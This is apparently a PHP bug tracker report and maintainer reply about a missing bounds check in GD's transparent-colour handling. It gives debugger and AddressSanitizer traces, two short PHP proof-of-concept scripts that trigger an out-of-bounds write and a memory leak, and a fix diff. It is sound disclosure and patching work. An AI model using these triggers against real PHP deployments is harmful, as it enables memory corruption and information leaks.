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[2016-06-29 04:03 UTC] fernando at null-life dot com
Description: ------------ gdImageTrueColorToPaletteBody doesn't check for negative transparent colors while converting the image. This leads to arbitrary null write and information leak. Details ======= https://github.com/php/php-src/blob/master/ext/gd/libgd/gd_topal.c#L2000 ... if (oim->transparent >= 0) { nim->transparent = nim->colorsTotal; nim->colorsTotal++; } ... nim->transparent will only be updated with a valid index if oim->transparent is bigger than 0, however it can be set to be a negative color using gdImageColorTransparent https://github.com/php/php-src/blob/master/ext/gd/libgd/gd.c#L598 void gdImageColorTransparent (gdImagePtr im, int color) { if (!im->trueColor) { if (im->transparent != -1) { im->alpha[im->transparent] = gdAlphaOpaque; } if (color > 1 && color < im>colorsTotal && color < gdMaxColors) { im->alpha[color] = gdAlphaTransparent; } else { return; } } im->transparent = color; } As you can see here, there's no check for color on truecolor images. I really don't know if negative colors are supported, according to a quick search they could be special colors, that's why I don't propose any fix, I don't know where should the fix be implemented, gdImageColorTransparent or gdImageTrueColorToPaletteBody? Null write Setting im->transparent to a negative value, and then converting it to palette will allow to write an arbitrary null using gdImageColorTransparent again (above function): im->alpha[im->transparent] = gdAlphaOpaque; Leak arbitrary memory using imagescale: https://github.com/php/php-src/blob/master/ext/gd/libgd/gd_interpolation.c#L1247 static gdImagePtr gdImageScaleBilinearPalette(gdImagePtr im, const unsigned int new_width, const unsigned int new_height) { ... new_img->transparent = gdTrueColorAlpha(im->red[transparent], im->green[transparent], im->blue[transparent], im->alpha[transparent]); # transparent out of bounds ... } new_img->transparent value is calculated adding the values using transparent as an index. ---------- GDB output with poc1: USE_ZEND_ALLOC=0 gdb -q --args /home/user/php/php-70/sapi/cli/php -n poc.php No symbol table is loaded. Use the "file" command. Breakpoint 1 (__asan_report_error) pending. Reading symbols from /home/user/php/php-70/sapi/cli/php...done. gdb-peda$ b gd_interpolation.c:1228 Breakpoint 2 at 0x81935b7: file /home/user/php/php-70/ext/gd/libgd/gd_interpolation.c, line 1228. gdb-peda$ r Starting program: /home/user/php/php-70/sapi/cli/php -n poc.php [----------------------------------registers-----------------------------------] EAX: 0x8c972a0 --> 0x0 EBX: 0x8b47000 --> 0x8b46db8 --> 0x1 ECX: 0x1 EDX: 0xfffe ESI: 0xf5c08028 --> 0x8c7a138 --> 0x84b92de (<ZEND_DO_ICALL_SPEC_HANDLER>: push ebp) EDI: 0x8c7a138 --> 0x84b92de (<ZEND_DO_ICALL_SPEC_HANDLER>: push ebp) EBP: 0xffff9ef8 --> 0xffff9f18 --> 0xffff9f48 --> 0xffff9fb8 --> 0xffff9fe8 --> 0xffffa008 (--> ...) ESP: 0xffff9e20 --> 0xffff9e48 --> 0x0 EIP: 0x81935b7 (<gdImageScaleBilinearPalette+255>: mov eax,DWORD PTR [ebp+0x8]) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x81935ab <gdImageScaleBilinearPalette+243>: jne 0x81935b7 <gdImageScaleBilinearPalette+255> 0x81935ad <gdImageScaleBilinearPalette+245>: mov eax,0x0 0x81935b2 <gdImageScaleBilinearPalette+250>: jmp 0x81939d3 <gdImageScaleBilinearPalette+1307> => 0x81935b7 <gdImageScaleBilinearPalette+255>: mov eax,DWORD PTR [ebp+0x8] 0x81935ba <gdImageScaleBilinearPalette+258>: mov edx,DWORD PTR [ebp-0x5c] 0x81935bd <gdImageScaleBilinearPalette+261>: add edx,0x60c 0x81935c3 <gdImageScaleBilinearPalette+267>: mov eax,DWORD PTR [eax+edx*4+0x8] 0x81935c7 <gdImageScaleBilinearPalette+271>: shl eax,0x18 [------------------------------------stack-------------------------------------] 0000| 0xffff9e20 --> 0xffff9e48 --> 0x0 0004| 0xffff9e24 --> 0xffff9e4c --> 0x0 0008| 0xffff9e28 --> 0xf7bfabcc --> 0x332000 ('') 0012| 0xffff9e2c --> 0x8467cd9 (<zend_parse_arg+13>: add ebx,0x6df327) 0016| 0xffff9e30 --> 0x0 0020| 0xffff9e34 --> 0xffff9f04 --> 0x1 0024| 0xffff9e38 --> 0xffff9f20 --> 0x8c71db0 --> 0x8c88698 --> 0x8c89658 --> 0x0 0028| 0xffff9e3c --> 0xf5c08108 --> 0xffff [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, gdImageScaleBilinearPalette (im=0x8c71db0, new_width=0x1, new_height=0xffff) at /home/user/php/php-70/ext/gd/libgd/gd_interpolation.c:1228 1228 new_img->transparent = gdTrueColorAlpha(im->red[transparent], im->green[transparent], im->blue[transparent], im->alpha[transparent]); gdb-peda$ p transparent $1 = 0xff666680 ## Out of non-truecolors bounds [0-255] -------- GDB output poc2: SE_ZEND_ALLOC=0 gdb -q --args /home/user/php/php-70/sapi/cli/php -n poc.php No symbol table is loaded. Use the "file" command. Breakpoint 1 (__asan_report_error) pending. Reading symbols from /home/user/php/php-70/sapi/cli/php...done. gdb-peda$ b gd.c:598 Breakpoint 2 at 0x8173095: file /home/user/php/php-70/ext/gd/libgd/gd.c, line 598. gdb-peda$ r Starting program: /home/user/php/php-70/sapi/cli/php -n poc.php [----------------------------------registers-----------------------------------] EAX: 0xfff0bdc0 EBX: 0x8b47000 --> 0x8b46db8 --> 0x1 ECX: 0x0 EDX: 0x88e63b5 ("Image") ESI: 0xf5c08028 --> 0x8c7a134 --> 0x84b92de (<ZEND_DO_ICALL_SPEC_HANDLER>: push ebp) EDI: 0x8c7a134 --> 0x84b92de (<ZEND_DO_ICALL_SPEC_HANDLER>: push ebp) EBP: 0xffff9f68 --> 0xffff9fb8 --> 0xffff9fe8 --> 0xffffa008 --> 0xffffa048 --> 0xffffa098 (--> ...) ESP: 0xffff9f68 --> 0xffff9fb8 --> 0xffff9fe8 --> 0xffffa008 --> 0xffffa048 --> 0xffffa098 (--> ...) EIP: 0x8173095 (<php_gd_gdImageColorTransparent+40>: mov eax,DWORD PTR [ebp+0x8]) EFLAGS: 0x293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x817308a <php_gd_gdImageColorTransparent+29>: mov eax,DWORD PTR [eax+0x1010] 0x8173090 <php_gd_gdImageColorTransparent+35>: cmp eax,0xffffffff 0x8173093 <php_gd_gdImageColorTransparent+38>: je 0x81730af <php_gd_gdImageColorTransparent+66> => 0x8173095 <php_gd_gdImageColorTransparent+40>: mov eax,DWORD PTR [ebp+0x8] 0x8173098 <php_gd_gdImageColorTransparent+43>: mov edx,DWORD PTR [eax+0x1010] 0x817309e <php_gd_gdImageColorTransparent+49>: mov eax,DWORD PTR [ebp+0x8] 0x81730a1 <php_gd_gdImageColorTransparent+52>: add edx,0x60c 0x81730a7 <php_gd_gdImageColorTransparent+58>: mov DWORD PTR [eax+edx*4+0x8],0x0 [------------------------------------stack-------------------------------------] 0000| 0xffff9f68 --> 0xffff9fb8 --> 0xffff9fe8 --> 0xffffa008 --> 0xffffa048 --> 0xffffa098 (--> ...) 0004| 0xffff9f6c --> 0x816e084 (<zif_imagecolortransparent+161>: add esp,0x10) 0008| 0xffff9f70 --> 0x8c71db8 --> 0x8c7f890 --> 0x8c7fa28 --> 0x0 0012| 0xffff9f74 --> 0x9 ('\t') 0016| 0xffff9f78 --> 0xa ('\n') 0020| 0xffff9f7c --> 0xffff9f9c --> 0x9 ('\t') 0024| 0xffff9f80 --> 0xf5c08068 --> 0x8c71b20 --> 0x2 0028| 0xffff9f84 --> 0x8b47000 --> 0x8b46db8 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, php_gd_gdImageColorTransparent (im=0x8c71db8, color=0x9) at /home/user/php/php-70/ext/gd/libgd/gd.c:598 598 im->alpha[im->transparent] = gdAlphaOpaque; gdb-peda$ p im->transparent $1 = 0xfff0bdc0 ## Out of non-truecolors bounds [0-255] Test script: --------------- poc1: <?php $img = imagecreatetruecolor(13, 1007); imagecolortransparent($img, -10066304); imagetruecolortopalette($img, TRUE, 3); imagescale($img, 1, 65535); poc2: <?php $img = imagecreatetruecolor(100, 100); imagecolortransparent($img, -1000000); imagetruecolortopalette($img, TRUE, 3); imagecolortransparent($img, 9); Expected result: ---------------- No crash Actual result: -------------- USE_ZEND_ALLOC=0 /ram/php-fuzz/phuzzer/php-70/sapi/cli/php -n poc.php ASAN:SIGSEGV ================================================================= ==14120==ERROR: AddressSanitizer: SEGV on unknown address 0xee79f338 (pc 0x08698cba bp 0xff666680 sp 0xff886de0 T0) #0 0x8698cb9 in gdImageScaleBilinearPalette /home/user/php/php-70-asan/ext/gd/libgd/gd_interpolation.c:1228 #1 0x8698cb9 in gdImageScaleBilinear /home/user/php/php-70-asan/ext/gd/libgd/gd_interpolation.c:1392 #2 0x85ba190 in zif_imagescale /home/user/php/php-70-asan/ext/gd/gd.c:4674 #3 0x9a388ac in ZEND_DO_ICALL_SPEC_HANDLER /home/user/php/php-70-asan/Zend/zend_vm_execute.h:586 #4 0x980d06f in execute_ex /home/user/php/php-70-asan/Zend/zend_vm_execute.h:414 #5 0x9b287c5 in zend_execute /home/user/php/php-70-asan/Zend/zend_vm_execute.h:458 #6 0x95e4c3c in zend_execute_scripts /home/user/php/php-70-asan/Zend/zend.c:1427 #7 0x932d58b in php_execute_script /home/user/php/php-70-asan/main/main.c:2494 #8 0x9b31004 in do_cli /home/user/php/php-70-asan/sapi/cli/php_cli.c:974 #9 0x80a6e78 in main /home/user/php/php-70-asan/sapi/cli/php_cli.c:1344 #10 0xf6c93636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #11 0x80a755a (/ram/php-fuzz/phuzzer/php-70-asan/sapi/cli/php+0x80a755a) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/user/php/php-70-asan/ext/gd/libgd/gd_interpolation.c:1228 gdImageScaleBilinearPalette ==14120==ABORTING USE_ZEND_ALLOC=0 /ram/php-fuzz/phuzzer/php-70/sapi/cli/php -n poc.php ================================================================= ==24805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf0a35038 at pc 0x085e31a7 bp 0xfffadd48 sp 0xfffadd38 WRITE of size 4 at 0xf0a35038 thread T0 #0 0x85e31a6 in php_gd_gdImageColorTransparent /home/user/php/php-70-asan/ext/gd/libgd/gd.c:598 #1 0x85b1bbd in zif_imagecolortransparent /home/user/php/php-70-asan/ext/gd/gd.c:3292 #2 0x9a388ac in ZEND_DO_ICALL_SPEC_HANDLER /home/user/php/php-70-asan/Zend/zend_vm_execute.h:586 #3 0x980d06f in execute_ex /home/user/php/php-70-asan/Zend/zend_vm_execute.h:414 #4 0x9b287c5 in zend_execute /home/user/php/php-70-asan/Zend/zend_vm_execute.h:458 #5 0x95e4c3c in zend_execute_scripts /home/user/php/php-70-asan/Zend/zend.c:1427 #6 0x932d58b in php_execute_script /home/user/php/php-70-asan/main/main.c:2494 #7 0x9b31004 in do_cli /home/user/php/php-70-asan/sapi/cli/php_cli.c:974 #8 0x80a6e78 in main /home/user/php/php-70-asan/sapi/cli/php_cli.c:1344 #9 0xf6ce6636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #10 0x80a755a (/ram/php-fuzz/phuzzer/php-70-asan/sapi/cli/php+0x80a755a) AddressSanitizer can not describe address in more detail (wild memory access suspected). SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/php/php-70-asan/ext/gd/libgd/gd.c:598 php_gd_gdImageColorTransparent Patchesbug72512 (last revision 2016-06-29 09:52 UTC by pajoye@php.net)Pull RequestsHistoryAllCommentsChangesGit/SVN commits
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thanks :) btw, I would be very interested to know which fuzzy tester you use, could be nice to have as part of the CI (we have coverity and cppchecker but they cannot test things like this). It seems the bundled gdImageColorTransparent is missing a check. Here is we have in libgd/libgd: BGD_DECLARE(void) gdImageColorTransparent (gdImagePtr im, int color) { if (!im->trueColor) { if((color < -1) || (color >= gdMaxColors)) { return; } if (im->transparent != -1) { im->alpha[im->transparent] = gdAlphaOpaque; } if (color != -1) { im->alpha[color] = gdAlphaTransparent; } } im->transparent = color; } I do not think :transparent can be negative but on in gdImageCreate and gdImageCreateTrueColor, this value is set to mark it uninitialized. Given that, I think we can safely add as well: if (color < 0) { return; } first in the function. gdImageScaleBilinearPalette is a different problem tho'. It should check if the src image is TC or palette and do different assignments accordingly, with a check for < 0 for both cases anyway.diff --git a/ext/gd/libgd/gd.c b/ext/gd/libgd/gd.c index a5799c5..170e372 100644 --- a/ext/gd/libgd/gd.c +++ b/ext/gd/libgd/gd.c @@ -599,15 +599,18 @@ void gdImageColorDeallocate (gdImagePtr im, int color) void gdImageColorTransparent (gdImagePtr im, int color) { + if (color < 0) { + return; + } + if (!im->trueColor) { + if((color >= gdMaxColors)) { + return; + } if (im->transparent != -1) { im->alpha[im->transparent] = gdAlphaOpaque; } - if (color > -1 && color < im->colorsTotal && color < gdMaxColors) { - im->alpha[color] = gdAlphaTransparent; - } else { - return; - } + im->alpha[color] = gdAlphaTransparent; } im->transparent = color; }